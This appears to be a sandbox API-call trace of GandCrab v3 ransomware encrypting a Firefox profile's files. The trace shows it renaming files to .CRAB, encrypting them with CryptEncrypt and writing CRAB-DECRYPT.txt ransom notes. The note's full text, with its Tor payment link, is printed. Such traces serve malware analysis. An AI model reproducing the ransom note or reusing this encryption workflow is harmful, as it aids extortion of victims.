	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="autorun.inf") returned 1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="ntuser.dat") returned 1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="iconcache.db") returned 1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="bootsect.bak") returned 1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="boot.ini") returned 1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="ntuser.dat.log") returned 1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="thumbs.db") returned -1
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.181] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.181] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB") returned 113
	[0123.181] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt")) returned 0x20
	[0123.182] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt", dwFileAttributes=0x20) returned 1
	[0123.182] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt.crab")) returned 1
	[0123.183] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.183] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB"
	[0123.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB.CRAB"
	[0123.183] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e7c0) returned 1
	[0123.184] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.184] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.184] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0123.184] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0123.184] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.184] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0123.185] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.185] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.185] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.185] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0123.185] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.185] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.186] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.186] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.186] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0123.186] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31668e0) returned 1
	[0123.187] CryptGetKeyParam (in: hKey=0x31668e0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.187] CryptEncrypt (in: hKey=0x31668e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0123.188] GetLastError () returned 0x0
	[0123.188] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.188] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0123.188] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166a20) returned 1
	[0123.188] CryptGetKeyParam (in: hKey=0x3166a20, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.188] CryptEncrypt (in: hKey=0x3166a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0123.188] GetLastError () returned 0x0
	[0123.188] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.189] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.189] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0123.189] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0123.189] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x788, lpOverlapped=0x0) returned 1
	[0123.210] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.211] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.211] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.212] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffff878, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.212] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x790, lpOverlapped=0x0) returned 1
	[0123.212] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.212] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.216] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.216] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.216] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0123.216] CloseHandle (hObject=0x3e0) returned 1
	[0123.216] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.217] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.217] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.217] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.217] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.218] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.218] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.218] lstrcmpW (lpString1="storage", lpString2=".") returned 1
	[0123.218] lstrcmpW (lpString1="storage", lpString2="..") returned 1
	[0123.218] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="storage" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage"
	[0123.218] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\"
	[0123.218] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.218] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.218] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.219] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.219] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.219] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.219] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.219] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.219] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.219] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.219] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\\\CRAB-DECRYPT.txt") returned 105
	[0123.219] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.221] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.221] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0123.222] CloseHandle (hObject=0x3e0) returned 1
	[0123.222] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.222] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\") returned 88
	[0123.222] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*"
	[0123.222] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3166a60
	[0123.223] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.223] FindNextFileW (in: hFindFile=0x3166a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.223] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.223] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.223] FindNextFileW (in: hFindFile=0x3166a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.223] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.223] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.223] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\CRAB-DECRYPT.txt"
	[0123.223] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.223] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\CRAB-DECRYPT.txt") returned 104
	[0123.223] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\CRAB-DECRYPT.txt") returned 104
	[0123.223] lstrlenW (lpString=".txt") returned 4
	[0123.223] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.223] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.224] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.224] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\CRAB-DECRYPT.txt") returned 104
	[0123.224] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\CRAB-DECRYPT.txt") returned 104
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.224] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.224] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.224] FindNextFileW (in: hFindFile=0x3166a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0123.224] lstrcmpW (lpString1="permanent", lpString2=".") returned 1
	[0123.225] lstrcmpW (lpString1="permanent", lpString2="..") returned 1
	[0123.225] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="permanent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent"
	[0123.225] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\"
	[0123.225] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.225] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.226] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.226] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.226] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.226] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.226] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.226] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.226] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.226] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\\\CRAB-DECRYPT.txt") returned 115
	[0123.226] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0123.227] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.227] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0123.228] CloseHandle (hObject=0x3d8) returned 1
	[0123.228] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.228] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\") returned 98
